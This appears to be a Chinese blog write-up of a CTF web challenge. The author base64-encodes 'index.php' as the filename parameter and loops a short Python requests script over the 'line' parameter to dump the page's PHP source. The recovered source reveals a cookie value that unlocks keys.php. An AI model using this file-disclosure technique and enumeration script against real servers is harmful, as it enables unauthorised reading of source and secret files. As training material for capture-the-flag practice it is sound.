源码什么的没有发现有用的信息,观察一下url,新思路

http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50因为eHQ=

最后是一串base64编码

原url有两个参数  (1)line=  (2)filename=a2V5cy50eHQ=

猜测filename参数会决定所返回的页面(可能是源码),传递的参数要是base64密文形式,来交给后台base64.decode()

至于这个为什么传index.php,因为url里面有index.php,让他读取自己(源码)

index.php,对应的base64密文是aW5kZXgucGhw

http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw

页面空了,尝试对url里的参数line传值

令line=1、2、3...n...  都得到一段php代码的第n行  python脚本帮助获取全部代码

import requests
a=30
for i in range(a):
    url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw" 
    s=requests.get(url)
    print s.text

至于多少行,可以先试一下

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){       //看这里

$file_list[2]='keys.php';

}
if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

注意$file_list[2]='keys.php';

 posted on 2020-04-01 21:34  My_serendipity  阅读(207)  评论(0编辑  收藏  举报